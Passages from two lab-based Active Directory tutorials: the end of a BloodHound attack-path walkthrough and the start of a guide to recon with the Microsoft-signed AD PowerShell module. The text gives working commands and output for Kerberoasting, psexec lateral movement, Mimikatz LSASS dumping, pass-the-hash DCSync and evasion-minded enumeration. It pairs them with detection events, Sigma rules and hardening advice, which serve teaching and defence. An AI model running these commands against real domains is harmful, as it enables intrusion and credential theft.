  -AccountPassword (ConvertTo-SecureString "NewPass1!" -AsPlainText -Force) -Verbose
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'svc_sql'
VERBOSE: [Set-DomainUserPassword] Password for user 'svc_sql' successfully reset

This emits Windows Security event 4724 (password reset attempt) on the DC. A reset performed by a helpdesk account against a service account with an SPN is exactly the anomaly a defender should alert on.

Step 3: Optional Kerberoast Path

If you would rather not change the password (resets are loud), Kerberoast svc_sql instead. Here is the protocol reasoning that makes this work.

Kerberos authentication has two exchanges. In the AS exchange, the client proves identity to the Key Distribution Center (KDC) and receives a Ticket Granting Ticket (TGT), encrypted with the krbtgt key. In the TGS exchange, the client presents the TGT and asks for a service ticket to a named service principal (SPN). The KDC returns a service ticket whose encrypted portion is sealed with the NTLM hash of the service account that owns that SPN. The ticket also carries the PAC, which holds the user’s group memberships. Any authenticated user can request a service ticket for any SPN. Because the encrypted blob is sealed with the service account’s password-derived key, you can take it offline and brute-force the account password. That is Kerberoasting.

Find roastable accounts first, then request the ticket:

Get-DomainUser -SPN | Select samaccountname, serviceprincipalname
samaccountname serviceprincipalname
-------------- --------------------
svc_sql        MSSQLSvc/WS01.lab.local:1433
Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql.hash
[*] Action: Kerberoasting
[*] Target User            : svc_sql
[*] SamAccountName         : svc_sql
[*] ServicePrincipalName   : MSSQLSvc/WS01.lab.local:1433
[*] Hash written to : svc_sql.hash

   $krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/WS01...*$A1B2C3...8F9E$D4E5...(snip)
hashcat -m 13100 svc_sql.hash /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc...:Sqlpass123!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/1 (100.00%) Digests

The TGS request shows up as event 4769 on the DC. A single account requesting a TGS for an MSSQLSvc/ SPN with RC4 encryption (etype 23) is the canonical Kerberoasting indicator.

Step 4: Enumerate the AdminTo Edge

BloodHound says svc_sql is local admin on WS02. Verify before moving.

$cred = Get-Credential lab\svc_sql
Get-NetLocalGroupMember -ComputerName WS02.lab.local -GroupName Administrators
ComputerName : WS02.lab.local
GroupName    : Administrators
MemberName   : LAB\svc_sql
SID          : S-1-5-21-1840391731-2024753214-3672591890-1106
IsGroup      : False
IsDomain     : True

Step 5: AdminTo, Get Code Execution on WS02

Invoke-Command -ComputerName WS02.lab.local -Credential $cred -ScriptBlock { whoami }
lab\svc_sql

Or with Impacket from a Linux operator host:

python3 psexec.py lab/svc_sql:'NewPass1!'@WS02.lab.local
[*] Requesting shares on WS02.lab.local.....
[*] Found writable share ADMIN$
[*] Uploading file XbHkPqWz.exe
[*] Opening SVCManager on WS02.lab.local.....
[*] Creating service ZxQp on WS02.lab.local.....
[*] Starting service ZxQp.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045]
C:\Windows\system32> whoami
nt authority\system

PsExec triggers Sysmon EventID 1 for the service binary, a 5145 for the ADMIN$ write, and a 7045 (service install) in the System log. Three independent breadcrumbs for one technique.

Step 6: HasSession, Dump Credentials

BloodHound flagged a da_user session on WS02. With SYSTEM on that box, harvest it from LSASS memory. The PAC is irrelevant here; what you want are the logon credentials LSASS caches for interactive sessions.

Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
Authentication Id : 0 ; 4923871 (00000000:004b21df)
Session           : Interactive from 2
User Name         : da_user
Domain            : LAB
SID               : S-1-5-21-1840391731-2024753214-3672591890-1107
        msv :
         [00000003] Primary
         * Username : da_user
         * Domain   : LAB
         * NTLM     : 5f4dcc3b5aa765d61d8327deb882cf99
         * SHA1     : 8be3c943b1609fffbfc51aad666d0a04adf83c9d
        wdigest :
         * Username : da_user
         * Domain   : LAB
         * Password : (null)

That sekurlsa read requires opening the LSASS process, which generates Sysmon EventID 10 (ProcessAccess) with the GrantedAccess mask defenders watch for, plus use of SeDebugPrivilege logged as 4673.

Step 7: Verify Domain Admin

Pass the captured hash. With the NTLM hash you authenticate without ever knowing the plaintext, because NTLM authentication proves knowledge of the hash, not the password.

python3 secretsdump.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 lab/da_user@DC01.lab.local
[*] Target system bootKey: 0x8f2c...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b...:c0b8...:::
krbtgt:502:aad3b...:9d8e...:::
da_user:1107:aad3b...:5f4dcc3b5aa765d61d8327deb882cf99:::
[*] Cleaning up...

DCSync against the domain. The walk is complete: helpdesk1 to Domain Admin in seven moves, every one of them an edge BloodHound drew for you in advance.


Flow diagram showing the four-edge attack chain from helpdesk1 through svc_sql and WS02 to Domain Admins via GenericAll, AdminTo, HasSession, and MemberOf edges
The complete lab attack path: four BloodHound edges translate directly into four exploitation steps from a helpdesk account to full domain compromise.

8. Common Attacker Techniques

TechniqueDescription
ACL abuse chainingHop GenericAll/GenericWrite/WriteDACL edges into password resets or group adds
KerberoastingRequest TGS for SPN accounts, crack offline for service credentials
Session huntingEnumerate HasSession edges to locate privileged credentials in memory
Unconstrained delegation coercionCapture DC TGT via PrinterBug/PetitPotam on a delegation host
RBCDAbuse AllowedToAct to impersonate any user to a target service
DCSyncReplicate secrets using combined GetChanges + GetChangesAll rights
LAPS readRetrieve local admin passwords via ReadLAPSPassword / AllExtendedRights
ADCS escalationExploit ESC3/ESC6/ESC9/ESC10 edges from collected CA registry data

9. Defensive Strategies and Detection

SharpHound is loud if you know where to look. The collection generates a recognizable burst of LDAP and SMB activity from a single source, and the abuse steps each leave their own trail.

Sysmon Event IDs

Event IDWhat to monitor
EventID 1SharpHound.exe process create; OriginalFileName still reads SharpHound even when renamed
EventID 3Rapid outbound connections to many hosts on ports 389, 445, 636 from one source
EventID 7netapi32.dll, srvcli.dll loaded by unusual processes
EventID 10ProcessAccess to LSASS during credential dumping
EventID 18Named pipe connects to \samr, \srvsvc, \wkssvc, \winreg from one source

Windows Security Audit Events

Event IDWhat to monitor
4662High-volume LDAP object access enumerating user, computer, group
4624 / 4648Same account authenticating to many hosts rapidly
4769Multiple TGS requests for MSSQLSvc/ or other SPNs from one account (Kerberoasting)
4724Password reset, especially helpdesk against a service account
4673Sensitive privilege use such as SeDebugPrivilege
5145Share access auditing on ADMIN$ and named-pipe shares

ETW Providers

  • Microsoft-Windows-LDAP-Client captures the exact client-side LDAP filters SharpHound issues.
  • Microsoft-Windows-Security-Auditing sources the 4662/4769 family.
  • Microsoft-Windows-SMBClient and Microsoft-Windows-SMBServer provide named-pipe access telemetry.

Detection Heuristics and Sigma

The single most reliable behavioral tell is named-pipe correlation. A connection to the winreg and wkssvc pipes under the same account from the same host points at the LoggedOn method. A connection to samr and srvsvc under the same account points at LocalGroup, RDP, DCOM, or ComputerOnly, usually accompanied by access to ports 389 and 445 from that source.

title: SharpHound Named-Pipe Enumeration Pattern
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 18
    PipeName|contains:
      - '\samr'
      - '\srvsvc'
      - '\wkssvc'
      - '\winreg'
  timeframe: 1m
  condition: selection | count(PipeName) by SourceProcessId > 3
level: high
title: SharpHound Binary Execution
logsource:
  product: windows
  service: sysmon
detection:
  selection_orig:
    EventID: 1
    OriginalFileName: 'SharpHound.exe'
  selection_img:
    EventID: 1
    Image|endswith: '\SharpHound.exe'
  condition: selection_orig or selection_img
level: high

Mature EDRs already flag the public SharpHound binary, but threat actors recompile and obfuscate it routinely. Reliable detection is therefore defense-in-depth: behavioral named-pipe correlation, LDAP volume thresholds, and Kerberos request anomalies, not signature matching alone.

Hardening Driven by BloodHound Output

The same graph that attacks you also tells you what to fix. Audit ACLs and strip GenericAll/WriteDACL/WriteOwner from principals that have no business holding them; most are permission-sprawl residue. Disable unconstrained delegation and migrate to constrained or RBCD. Enforce tiered administration so Domain Admins only log into domain controllers, server admins only into servers, workstation admins only into workstations; this severs the HasSession edges that feed credential-dumping paths. Deploy LAPS to randomize local admin passwords and kill credential-reuse lateral movement. Restrict Remote SAM with the “Network access: Restrict clients allowed to make remote calls to SAM” policy, which from Windows 10 1607 and Server 2016 already requires admin access by default. Finally, seed honey accounts: decoy users mixed among real ones that no legitimate process should ever touch, so any enumeration of them is high-confidence malicious.


Conceptual illustration of a defensive watchtower monitoring network named-pipe connections with radar and spotlights to detect enumeration activity
Reliable SharpHound detection layers named-pipe correlation, LDAP volume thresholds, and Kerberoasting anomalies rather than relying on binary signatures alone.

10. Tools for AD Path Analysis

ToolDescriptionLink
BloodHound CEGraph UI and Neo4j backend for attack-path analysisgithub.com/SpecterOps
SharpHound CEOfficial C# collectorgithub.com/SpecterOps
RustHound-CECross-platform CE collector for Linux/macOS/Windowsgithub.com
BloodHound.pyPython ingestor, supports pass-the-hash, lacks GPO collectiongithub.com
NetExecQuick LDAP-driven collection via --bloodhoundgithub.com
SoapHoundADWS-based collector using obfuscated LDAP over SOAPgithub.com
PowerView / PowerSploitACL enumeration and abusegithub.com
RubeusKerberoasting and ticket manipulationgithub.com
Impacketpsexec, wmiexec, secretsdumpgithub.com
Neo4j BrowserDirect Cypher queryingneo4j.com

Alternate collectors matter for opsec and platform. RustHound-CE and NetExec collect from Linux. BloodHound.py performs pass-the-hash so you can collect with a captured NT hash, though it mostly misses GPO methods. SoapHound talks to AD Web Services over HTTP(S) SOAP and uses an obfuscated LDAP query to hide intent, which sidesteps detections keyed on conventional LDAP filters.


11. MITRE ATT&CK Mapping

BloodHound is catalogued as Software S0521, an Active Directory reconnaissance tool that reveals hidden relationships and identifies attack paths.

TechniqueMITRE IDDetection
Account Discovery: Domain AccountT1087.0024662 LDAP enumeration of user objects
Permission Groups Discovery: Domain GroupsT1069.0024662 group membership enumeration
Domain Trust DiscoveryT1482Trusts collection, LDAP trust queries
System Network Connections DiscoveryT1049Sysmon EventID 18 session enumeration pipes
Steal or Forge Kerberos Tickets: KerberoastingT1558.0034769 TGS requests with RC4
OS Credential Dumping: LSASS MemoryT1003.001Sysmon EventID 10, 4673
OS Credential Dumping: DCSyncT1003.0064662 with replication GUIDs
Account ManipulationT10984724 password reset, group changes
Use Alternate Authentication Material: PtHT1550.0024624 Type 3 with NTLM

Summary

  • AD privilege escalation is a directed-graph shortest-path problem, and BloodHound turns a sprawling domain into a database that solves it in milliseconds.
  • SharpHound collects over LDAP(S) and SMB/DCERPC, driving LdapConnection directly and streaming through a 1,000-item BlockingCollection, calling NetSessionEnum, NetWkstaUserEnum, RegEnumKeyEx, and SAMRPC under the hood.
  • Collection methods trade coverage for noise: DCOnly is quiet LDAP-only recon, All adds loud session hunting against every reachable host.
  • Edges are abuse primitives. The lab chain GenericAll to password reset to AdminTo to HasSession to Domain Admin is four arrows BloodHound draws before you fire a single command.
  • Detect collection via named-pipe correlation (Sysmon EventID 18 on samr/srvsvc/wkssvc/winreg), LDAP volume on 4662, and Kerberoasting on 4769; remediate by killing HasSession edges with tiered administration and stripping permission-sprawl ACEs the graph exposes.

Related Tutorials

References

AD PowerShell Module Enumeration: The Microsoft-Signed Get-AD* Equivalents to PowerView

Objective: Walk through a complete, lab-grounded Active Directory reconnaissance workflow using the Microsoft-signed ActiveDirectory PowerShell module, understand the ADWS transport layer that makes the traffic invisible to network LDAP sniffers, map every cmdlet to its PowerView analogue, and build detections that actually fire on this tradecraft.


PowerView is still the textbook tool for AD recon, and for good reason. But when you drop PowerSploit\PowerView.ps1 on a modern, EDR-monitored workstation, you are introducing an unsigned PS1 with a long list of well-known function names into a process that almost certainly has AMSI hooks and ScriptBlock logging enabled. Defender flags it instantly. Even when you bypass AMSI, the AV signature on the file itself is decades old.

The Microsoft-signed ActiveDirectory PowerShell module does roughly 80% of what PowerView does, ships with RSAT, loads a Microsoft-signed DLL into powershell.exe, and talks to the DC over an encrypted SOAP channel on a port that most netflow analysts have never heard of. From a blue team’s point of view, it is the same enumeration you have always been worried about, wearing a perfectly legitimate management hat. From the red team’s point of view, it is the path of least resistance.

This article assumes you have a working AD lab. A Windows Server 2022 DC (DC01.lab.local) plus a Windows 10/11 workstation (WS01.lab.local) joined to lab.local is enough. RSAT should be installed on the DC or a separate admin host so you can grab the DLL. The walkthrough deliberately runs from a workstation that does not have RSAT installed, because that is the realistic red-team scenario.


1. Why Use the AD Module Instead of PowerView

PowerView has functions the AD module simply does not match: ACL graph traversal (Find-InterestingDomainAcl), GPO abuse helpers, and session enumeration via NetWkstaUserEnum. If you need those, you need PowerView (or SharpView, or BloodHound’s collectors).

For everything else, ask yourself what an attacker actually loses by switching to Get-AD*:

FeaturePowerViewAD Module
Microsoft-signed binaryNoYes (Microsoft.ActiveDirectory.Management.dll)
AV/EDR signature footprintHigh (well-known PS1)Low (LOLBin-class)
TransportLDAP/389 or LDAPS/636ADWS/9389 (SOAP over TLS)
Visible to network LDAP sniffersYesNo
Requires admin to install/runNoNo (DLL-only mode)
ACL traversal helpersStrongWeak (Get-Acl AD:\... only)
GPO abuse helpersStrongNone
Session enumerationYesNo
Kerberoast candidate enumerationYesYes (-Filter {ServicePrincipalName -ne "$null"})
AS-REP candidate enumerationYesYes (-Filter {DoesNotRequirePreAuth -eq $true})

The trade you are making is “I lose ACL/GPO graph traversal, I gain a Microsoft signature and a transport defenders rarely watch.” For pure account, group, computer, and trust discovery, that trade is heavily in your favor.

A small lived gotcha before we move on: do not assume Get-ADUser respects every PowerView flag verbatim. PowerView’s -AdminCount switch maps to -Filter {AdminCount -eq 1}, but AdminCount is not returned by default. If you forget -Properties AdminCount, you get the filter behavior with no visible attribute and end up second-guessing yourself for ten minutes. Ask me how I know.


2. Module Installation and the DLL-Only Portability Trick

There are three ways to get the module on a host:

# Option A: modern Windows 10/11 client
Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
Path          :
Online        : True
RestartNeeded : False
# Option B: Windows Server (requires local admin)
Install-WindowsFeature RSAT-AD-PowerShell
Success Restart Needed Exit Code      Feature Result
------- -------------- ---------      --------------
True    No             Success        {Active Directory module for Windows Po...

Both A and B require local admin. That is fine on your jump box. On the target workstation you have compromised as a standard domain user, it is not.

The trick that makes this tradecraft viable is that Microsoft.ActiveDirectory.Management.dll is a self-contained .NET assembly. Copy it off any RSAT-equipped host and Import-Module it directly. No installer, no admin, no registry surgery.

On the source machine (the one with RSAT installed) the DLL lives here:

Get-ChildItem 'C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management' -Recurse -Filter *.dll
    Directory: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management\v4.0_10.0.0.0__31bf3856ad364e35

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        4/15/2024  3:21 PM        1043248 Microsoft.ActiveDirectory.Management.dll

Copy that DLL to the target (C:\Users\bob\AppData\Local\Temp\admod.dll, anywhere writable will do) and load it:

# On WS01 (no RSAT, no admin rights, regular domain user bob)
Import-Module C:\Users\bob\AppData\Local\Temp\admod.dll -Verbose
Get-Command -Module Microsoft.ActiveDirectory.Management.dll | Measure-Object
VERBOSE: Loading module from path 'C:\Users\bob\AppData\Local\Temp\admod.dll'.
VERBOSE: Importing cmdlet 'Get-ADComputer'.
VERBOSE: Importing cmdlet 'Get-ADDomain'.
VERBOSE: Importing cmdlet 'Get-ADForest'.
VERBOSE: Importing cmdlet 'Get-ADGroup'.
VERBOSE: Importing cmdlet 'Get-ADGroupMember'.
VERBOSE: Importing cmdlet 'Get-ADTrust'.
VERBOSE: Importing cmdlet 'Get-ADUser'.
...

Count    : 147

147 cmdlets registered, the module is live, and you have not installed anything. From the OS’s point of view, powershell.exe loaded a Microsoft-signed assembly. From the user’s point of view, you have a fully functional AD recon platform.

One subtlety: this DLL-only mode does not bring along the AD: PSDrive provider. Get-Acl "AD:\CN=Users,DC=lab,DC=local" will fail unless you also load Microsoft.ActiveDirectory.Management.Resources.dll and register the provider. For pure read-only object enumeration you do not need it. For DACL inspection you do, which is one more reason ACL hunting stays in PowerView’s lane.


3. How the AD Module Actually Works: ADWS and Port 9389

This is the part defenders consistently miss, so it is the part worth understanding properly.

Active Directory Web Services (ADWS) was introduced in Windows Server 2008 R2 and runs by default on every modern domain controller. It listens on TCP/9389, speaks SOAP over TLS, and uses a stack of .NET framing protocols (NNS, NMF, NBFSE) for authentication and message encoding. Both the AD PowerShell module and the Active Directory Administrative Center (ADAC) GUI are SOAP clients of this service.

When you run Get-ADUser -Filter * from WS01, this happens:

  1. The AD module on WS01 opens a TLS-encrypted SOAP session to DC01:9389.
  2. The SOAP request describes the LDAP query in XML.
  3. ADWS, running as a service on DC01, parses the SOAP request and issues the actual LDAP search against its own local LDAP interface.
  4. Because ADWS is local on the DC, the LDAP query’s client IP is 127.0.0.1 (or [::1]).
  5. Results come back to ADWS, are serialized into SOAP/XML, returned over the TLS tunnel, deserialized into Microsoft.ActiveDirectory.Management.ADUser objects on WS01.

The detection consequences:

  • A network sensor watching port 389/636 for high-volume LDAP queries sees nothing.
  • DC LDAP diagnostic logging (Event 1644 in the Directory Service log, the standard “expensive LDAP search” event) records the query, but the Client field shows [::1] for every single one. To the log it looks like the DC is querying itself.
  • The real client IP only appears in the ADWS-specific events: 1138 (ADWS connection opened) and 1139 (ADWS connection closed) in Microsoft-Windows-ActiveDirectory_DomainService.

If your SIEM is correlating high-volume Event 1644 by source IP, every PowerShell enumeration on the network looks like it came from the DC itself. You need to join 1138 to 1644 by timestamp and Operation ID, or you will miss this entirely. Most environments do not do this.

You can confirm the transport in your lab with a single line:

# Run on WS01 while a Get-ADUser query is executing in another window
Get-NetTCPConnection -RemotePort 9389
LocalAddress    LocalPort RemoteAddress  RemotePort State       OwningProcess
------------    --------- -------------  ---------- -----       -------------
10.10.10.50     49831     10.10.10.10    9389       Established 5328

PID 5328 is powershell.exe, the remote address is the DC, the port is 9389. Not a single byte goes to 389 or 636.


Diagram showing Get-ADUser SOAP request flowing from WS01 through a TLS tunnel on TCP/9389 to the ADWS service on DC01, which issues a local LDAP query logging the client as 127.0.0.1 in Event 1644
ADWS proxies every AD module query through an encrypted SOAP tunnel, making the real client IP invisible to network LDAP sensors and recording the source as localhost in DC diagnostic logs.

4. Domain and Forest Reconnaissance

Start with the cheap, low-volume queries that establish the lay of the land. Domain SID, forest functional level, FSMO holders, all DCs. This is roughly a dozen LDAP attribute reads and produces almost no detectable noise on a normal busy DC.

Get-ADDomain | Select-Object DNSRoot, NetBIOSName, DomainSID, PDCEmulator, RIDMaster, InfrastructureMaster, DomainMode, ParentDomain
DNSRoot              : lab.local
NetBIOSName          : LAB
DomainSID            : S-1-5-21-1004336348-1177238915-682003330
PDCEmulator          : DC01.lab.local
RIDMaster            : DC01.lab.local
InfrastructureMaster : DC01.lab.local
DomainMode           : Windows2016Domain
ParentDomain         :

The DomainSID is the prefix you will see on every user RID, the FSMO list tells you which DC to target for time-sensitive abuse (PDC for Kerberos delta), and DomainMode tells you whether features like AES-only Kerberos or PAM trusts are available.

Get-ADForest | Select-Object Name, ForestMode, RootDomain, Domains, GlobalCatalogs, SchemaMaster, DomainNamingMaster
Name               : lab.local
ForestMode         : Windows2016Forest
RootDomain         : lab.local
Domains            : {lab.local}
GlobalCatalogs     : {DC01.lab.local}
SchemaMaster       : DC01.lab.local
DomainNamingMaster : DC01.lab.local

A single-domain forest in this lab. In a real environment Domains is your first map of where lateral pivots can happen, and GlobalCatalogs tells you which DCs you can query for cross-domain object info on port 3268 (which is itself worth knowing if you ever need to fall back from ADWS).

Get-ADDomainController -Filter * | Select-Object HostName, IPv4Address, OperatingSystem, IsGlobalCatalog, IsReadOnly, Site
HostName        IPv4Address OperatingSystem               IsGlobalCatalog IsReadOnly Site
--------        ----------- ---------------               --------------- ---------- ----
DC01.lab.local  10.10.10.10 Windows Server 2022 Standard            True       False Default-First-Site-Name

Why this matters: read-only DCs are a legitimate target for credential staging abuse, sites tell you replication boundaries (and therefore where DCSync-style traffic is normal), and the OS version dictates which Kerberos primitives apply (RC4 vs AES, FAST availability, sIDHistory filtering quirks).


5. User Enumeration: Targets, SPNs, and AdminCount

The user object is where most kill chains start, because users carry the attributes you need for Kerberoasting, AS-REP roasting, password spraying, and privilege mapping.

A quick refresher on what is sitting on that object. userAccountControl (UAC) is a bitmask with flags like DONT_REQ_PREAUTH (0x400000), TRUSTED_FOR_DELEGATION (0x80000), and DONT_EXPIRE_PASSWORD (0x10000). servicePrincipalName is the multi-valued attribute that ties a user account to a Kerberos service identity, and any user with one is a Kerberoast candidate because the TGS reply for that SPN will be encrypted with that user’s password-derived key. adminCount=1 is set by SDProp when an account is, or has historically been, a member of one of the protected groups (Domain Admins, Enterprise Admins, Schema Admins, etc.) and is a high-fidelity “this is or was privileged” indicator.

First, basic discovery of enabled users:

Get-ADUser -Filter {Enabled -eq $true} -Properties SamAccountName, Description, PasswordNeverExpires, LastLogonDate |
    Select-Object SamAccountName, Description, PasswordNeverExpires, LastLogonDate |
    Format-Table -AutoSize
SamAccountName  Description                            PasswordNeverExpires LastLogonDate
--------------  -----------                            -------------------- -------------
Administrator   Built-in account for administering...                 True 11/12/2024 09:14:22
krbtgt          Key Distribution Center Service Acc...                True
alice           IT helpdesk                                          False 11/14/2024 17:02:08
bob             Sales                                                False 11/14/2024 08:51:11
helpdesk        Tier 1 support shared account                         True 11/13/2024 22:10:55
svc-sql         SQL Server service - do NOT touch                     True 11/14/2024 06:00:01
svc-backup      Backup service. Pw: Backup!Winter24                   True 11/13/2024 03:00:02
guest           Built-in account for guest access                    False

There are three high-value findings in that table and the article should not pretend otherwise. svc-backup has a credential in its Description field, which is the kind of misconfiguration that ends engagements in twenty minutes. svc-sql is a service account with PasswordNeverExpires set. And both service accounts have never logged on interactively, consistent with them being used purely for Kerberos service auth.

Now go after the privileged accounts via AdminCount:

Get-ADUser -Filter {AdminCount -eq 1} -Properties AdminCount, memberOf |
    Select-Object SamAccountName, @{n='Groups';e={($_.memberOf | ForEach-Object {($_ -split ',')[0] -replace 'CN='}) -join ','}}
SamAccountName Groups
-------------- ------
Administrator  Domain Admins,Enterprise Admins,Schema Admins
helpdesk       IT-Admins
krbtgt         Denied RODC Password Replication Group

helpdesk is interesting. It carries adminCount=1 because of nested membership in something that touches Domain Admins. Notice Administrator carries the full set, expected. krbtgt always shows up here, which is a known SDProp artifact, not a finding.

Kerberoast candidate enumeration. This is the query you actually run on every engagement.

Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName, PasswordLastSet, msDS-SupportedEncryptionTypes |
    Select-Object SamAccountName, ServicePrincipalName, PasswordLastSet, msDS-SupportedEncryptionTypes |
    Format-Table -AutoSize
SamAccountName ServicePrincipalName             PasswordLastSet         msDS-SupportedEncryptionTypes
-------------- --------------------             ---------------         -----------------------------
svc-sql        {MSSQLSvc/sql01.lab.local:1433}  3/12/2022 14:22:48                                  0
svc-web        {HTTP/web01.lab.local}           7/04/2023 09:11:30                                 28

Two roastable service accounts. svc-sql is the prize: msDS-SupportedEncryptionTypes = 0 means the account falls back to RC4-HMAC for Kerberos, which produces a hash that cracks orders of magnitude faster than AES-256. The PasswordLastSet of 2022 says it has been sitting on the same password for years, which generally means a short, human-chosen string. That ticket is going to crack on a laptop.

svc-web shows msDS-SupportedEncryptionTypes = 28 (0x1C = AES128 + AES256 + RC4). The TGS reply will be AES-encrypted, hashcat mode 19700, and unless the password is genuinely weak you are not getting in.

AS-REP roast candidates (accounts with Kerberos pre-authentication disabled):

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth, ServicePrincipalName |
    Select-Object SamAccountName, DoesNotRequirePreAuth
SamAccountName       DoesNotRequirePreAuth
--------------       ---------------------
legacy-app                            True

legacy-app has UAC bit DONT_REQ_PREAUTH set, meaning the KDC will hand you an AS-REP encrypted with that user’s key without any client-side proof of password. That is hashcat mode 18200, crack offline at will.

Finally, the password-in-description sweep:

Get-ADUser -Filter * -Properties Description |
    Where-Object { $_.Description -match '(?i)pass|pwd|cred|temp' } |
    Select-Object SamAccountName, Description
SamAccountName Description
-------------- -----------
svc-backup     Backup service. Pw: Backup!Winter24
contractor1    Temp account, password reset to Welcome2024!

You will see this on roughly one in three engagements. Sysadmins write things down. The regex is intentionally permissive because they will write pwd, creds, temp pw, anything.


6. Group and Membership Enumeration

Groups are where the trust model lives. Nested membership is also where blue teams stop looking, so this is where attackers find the “wait, why is this account in Domain Admins” mistakes.

Direct enumeration of security groups:

Get-ADGroup -Filter {GroupCategory -eq 'Security'} | Select-Object SamAccountName, GroupScope, SID | Sort-Object SamAccountName
SamAccountName            GroupScope SID
--------------            ---------- ---
Account Operators         DomainLocal S-1-5-32-548
Administrators            DomainLocal S-1-5-32-544
Backup Operators          DomainLocal S-1-5-32-551
DnsAdmins                 DomainLocal S-1-5-21-1004336348-1177238915-682003330-1101
Domain Admins             Global      S-1-5-21-1004336348-1177238915-682003330-512
Domain Computers          Global      S-1-5-21-1004336348-1177238915-682003330-515
Domain Controllers        Global      S-1-5-21-1004336348-1177238915-682003330-516
Domain Users              Global      S-1-5-21-1004336348-1177238915-682003330-513
Enterprise Admins         Universal   S-1-5-21-1004336348-1177238915-682003330-519
IT-Admins                 Global      S-1-5-21-1004336348-1177238915-682003330-1144
Remote Desktop Users      DomainLocal S-1-5-32-555
Schema Admins             Universal   S-1-5-21-1004336348-1177238915-682003330-518

Now do the recursive expansion of the groups you actually care about:

$targets = 'Domain Admins','Enterprise Admins','Schema Admins','Administrators','DnsAdmins','Backup Operators','Account Operators'
foreach ($g in $targets) {
    "`n[*] $g (recursive)"
    Get-ADGroupMember -Identity $g -Recursive -ErrorAction SilentlyContinue |
        Select-Object @{n='Name';e={$_.SamAccountName}}, objectClass |
        Format-Table -AutoSize
}
[*] Domain Admins (recursive)
Name          objectClass
----          -----------
Administrator user
helpdesk      user

[*] Enterprise Admins (recursive)
Name          objectClass
----          -----------
Administrator user

[*] Schema Admins (recursive)
Name          objectClass
----          -----------
Administrator user

[*] Administrators (recursive)
Name          objectClass
----          -----------
Administrator user
helpdesk      user

[*] DnsAdmins (recursive)
Name      objectClass
----      -----------
svc-dns   user

[*] Backup Operators (recursive)
Name          objectClass
----          -----------
svc-backup    user

[*] Account Operators (recursive)
Name objectClass
---- -----------

Get-ADGroupMember -Recursive does the nested expansion server-side via the member;range= ranged retrieval, so you get the flattened user list directly. Notice helpdesk ends up in Domain Admins not as a direct member but transitively through IT-Admins. That is the kind of finding that only shows up if you remember to pass -Recursive.

Two operationally relevant gotchas. First, Get-ADGroupMember silently fails on groups with foreign-security-principal members from across a trust, throwing an error that the FSP cannot be resolved. Catch it with -ErrorAction SilentlyContinue or fall back to reading the member attribute directly with Get-ADGroup -Identity X -Properties member. Second, Get-ADGroupMember has historically choked on groups with more than 5000 members because of the default LDAP page size; for Domain Users you typically want Get-ADUser -Filter * instead.

DnsAdmins is worth specifically calling out because membership in that group has historically meant SYSTEM on the DC via the ServerLevelPluginDll registry primitive. Microsoft has patched the reliable variants but the group is still a strong privilege indicator.


7. Computer Enumeration: OS Mapping and Attack Surface

Computer objects are how you map the network without scanning it. Get-ADComputer -Filter * returns every domain-joined host, its OS string, last logon, and any SPNs registered against the machine account.

Get-ADComputer -Filter * -Properties OperatingSystem, OperatingSystemVersion, LastLogonDate, ServicePrincipalName, TrustedForDelegation, 'msDS-AllowedToDelegateTo' |
    Select-Object Name, OperatingSystem, LastLogonDate, TrustedForDelegation |
    Sort-Object OperatingSystem |
    Format-Table -AutoSize
Name        OperatingSystem                LastLogonDate         TrustedForDelegation
----        ---------------                -------------         --------------------
LEGACY01    Windows Server 2008 R2 Standard 8/02/2024 12:14:08                  False
SQL01       Windows Server 2019 Standard   11/14/2024 08:00:14                   True
DC01        Windows Server 2022 Standard   11/14/2024 17:33:09                   True
WEB01       Windows Server 2022 Standard   11/14/2024 11:08:45                  False
WS01        Windows 10 Enterprise          11/14/2024 17:01:55                  False
WS02        Windows 11 Enterprise          11/14/2024 16:45:21                  False

LEGACY01 is the obvious sore thumb: 2008 R2 in 2024 is end-of-support, almost certainly missing post-2020 patches, and a candidate for everything from MS17-010 to PrintNightmare. SQL01 is more interesting in a quieter way: TrustedForDelegation = True means the computer account is configured for unconstrained delegation, which means any user authenticating to a service on that box hands SQL01 a forwardable TGT. Compromise SQL01, wait for a Domain Admin to touch it for any reason, and you have their TGT in LSASS ready to extract with mimikatz or Rubeus. That single attribute is one of the highest-value findings in the entire enumeration.

Pull the delegation picture explicitly:

# Unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and PrimaryGroupID -eq 515} -Properties TrustedForDelegation |
    Select-Object Name, DNSHostName

# Constrained delegation (computers with msDS-AllowedToDelegateTo populated)
Get-ADComputer -Filter * -Properties 'msDS-AllowedToDelegateTo' |
    Where-Object { $_.'msDS-AllowedToDelegateTo' } |
    Select-Object Name, 'msDS-AllowedToDelegateTo'

# RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity populated)
Get-ADComputer -Filter * -Properties 'msDS-AllowedToActOnBehalfOfOtherIdentity' |
    Where-Object { $_.'msDS-AllowedToActOnBehalfOfOtherIdentity' } |
    Select-Object Name
Name  DNSHostName
----  -----------
SQL01 SQL01.lab.local

Name  msDS-AllowedToDelegateTo
----  ------------------------
WEB01 {MSSQLSvc/sql01.lab.local:1433, MSSQLSvc/sql01.lab.local}

Name
----
PRINT01

